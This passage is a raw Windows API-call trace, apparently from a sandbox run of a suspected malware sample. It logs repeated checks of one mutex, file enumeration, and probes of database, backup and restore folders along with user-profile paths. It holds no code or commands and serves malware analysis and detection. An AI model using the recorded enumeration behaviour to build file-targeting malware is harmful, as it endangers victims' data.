0x555b78 [0056.625] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.625] GlobalUnlock (hMem=0x440004) returned 0 [0056.625] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.625] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.625] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.625] GlobalUnlock (hMem=0x440004) returned 0 [0056.625] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.625] GlobalUnlock (hMem=0x44000c) returned 0 [0056.625] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.625] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0056.625] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0056.625] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.626] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.626] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.626] GlobalUnlock (hMem=0x44000c) returned 0 [0056.626] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.626] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.626] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.626] GlobalUnlock (hMem=0x44000c) returned 0 [0056.626] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.626] GlobalUnlock (hMem=0x440004) returned 0 [0056.626] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.626] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0056.626] GetLastError () returned 0x12 [0056.626] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0056.626] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.626] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.626] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.626] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.626] GlobalUnlock (hMem=0x440004) returned 0 [0056.626] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.626] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.626] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.626] GlobalUnlock (hMem=0x440004) returned 0 [0056.626] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.626] GlobalUnlock (hMem=0x44000c) returned 0 [0056.626] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.626] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0056.627] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.627] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.627] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.627] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.627] GlobalUnlock (hMem=0x44000c) returned 0 [0056.627] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.627] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.627] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.627] GlobalUnlock (hMem=0x44000c) returned 0 [0056.627] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.627] GlobalUnlock (hMem=0x440004) returned 0 [0056.627] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.627] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0056.627] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.627] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.627] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.627] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.627] GlobalUnlock (hMem=0x440004) returned 0 [0056.627] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.627] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.627] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.627] GlobalUnlock (hMem=0x440004) returned 0 [0056.627] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.627] GlobalUnlock (hMem=0x44000c) returned 0 [0056.627] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.627] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0056.627] GetLastError () returned 0x12 [0056.627] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.628] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0056.628] FindClose (in: hFindFile=0x54e180 | out: hFindFile=0x54e180) returned 1 [0056.628] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0056.628] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0056.628] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.628] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.628] GlobalUnlock (hMem=0x44000c) returned 0 [0056.628] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.628] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.628] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.628] GlobalUnlock (hMem=0x44000c) returned 0 [0056.628] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.628] GlobalUnlock (hMem=0x440004) returned 0 [0056.628] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.628] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0056.628] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0056.628] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0056.628] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.628] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.628] GlobalUnlock (hMem=0x440004) returned 0 [0056.628] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.628] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.628] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.629] GlobalUnlock (hMem=0x440004) returned 0 [0056.629] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.629] GlobalUnlock (hMem=0x44000c) returned 0 [0056.629] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.629] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.629] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.629] GlobalUnlock (hMem=0x44000c) returned 0 [0056.629] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.629] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.629] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.629] GlobalUnlock (hMem=0x44000c) returned 0 [0056.629] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.629] GlobalUnlock (hMem=0x440004) returned 0 [0056.629] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.629] SysReAllocStringLen (in: pbstr=0x18f444*=0x0, psz="C:\\Program Files\\Common Files\\System", len=0x24 | out: pbstr=0x18f444*="C:\\Program Files\\Common Files\\System") returned 1 [0056.629] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.629] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.629] GlobalUnlock (hMem=0x440004) returned 0 [0056.629] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.629] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.629] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.629] GlobalUnlock (hMem=0x440004) returned 0 [0056.629] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.629] GlobalUnlock (hMem=0x44000c) returned 0 [0056.629] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Microsoft\\Exchange Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@刂U凖U企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0056.654] GetLastError () returned 0x3 [0056.654] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.654] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Microsoft SQL Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@册U企@\x18㿬Q\x181")) returned 0xffffffff [0056.675] GetLastError () returned 0x2 [0056.675] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.675] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.675] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Firebird", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@℔R企@\x18?T\x18;")) returned 0xffffffff [0056.677] GetLastError () returned 0x2 [0056.677] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.677] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.677] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSSQL.1", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@呤U企@\x18?T\x18D")) returned 0xffffffff [0056.678] GetLastError () returned 0x2 [0056.678] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.678] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0056.678] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@册U企@\x18℔R\x18j")) returned 0xffffffff [0056.680] GetLastError () returned 0x2 [0056.680] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.680] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x18ꮠUÄP⌠R㯸") returned 37 [0056.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Adobe", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@呤U企@\x18?T\x18q")) returned 0xffffffff [0056.681] GetLastError () returned 0x2 [0056.681] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.681] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="adobe\\ℐRP") returned 6 [0056.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Oracle", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@╼U企@\x18?T\x18y")) returned 0xffffffff [0056.683] GetLastError () returned 0x2 [0056.683] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.683] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0056.683] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Archive", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@呤U企@\x18?T\x18\x81")) returned 0xffffffff [0056.684] GetLastError () returned 0x2 [0056.684] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0056.684] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Backup", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@╼U企@\x18?T\x18\x88")) returned 0xffffffff [0056.686] GetLastError () returned 0x2 [0056.686] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.686] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0056.686] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Reserv", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@呤U企@\x18?T\x18\x8f")) returned 0xffffffff [0056.687] GetLastError () returned 0x2 [0056.687] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.687] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0056.687] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Restore", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@╼U企@\x18?T\x18\x97")) returned 0xffffffff [0056.689] GetLastError () returned 0x2 [0056.689] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.689] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0056.689] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.689] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.689] GlobalUnlock (hMem=0x44000c) returned 0 [0056.689] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.689] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.689] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.689] GlobalUnlock (hMem=0x44000c) returned 0 [0056.689] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.689] GlobalUnlock (hMem=0x440004) returned 0 [0056.689] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.689] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.689] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.689] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.689] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.689] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⌠R㯸") returned 46 [0056.689] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.689] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.689] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⌠R㯸") returned 15 [0056.689] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.689] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.689] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⌠R㯸") returned 11 [0056.690] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.690] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.690] GlobalUnlock (hMem=0x440004) returned 0 [0056.690] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.690] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.690] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.690] GlobalUnlock (hMem=0x440004) returned 0 [0056.690] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.690] GlobalUnlock (hMem=0x44000c) returned 0 [0056.690] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.690] MultiByteToWideChar (in: CodePage=0x4e4, 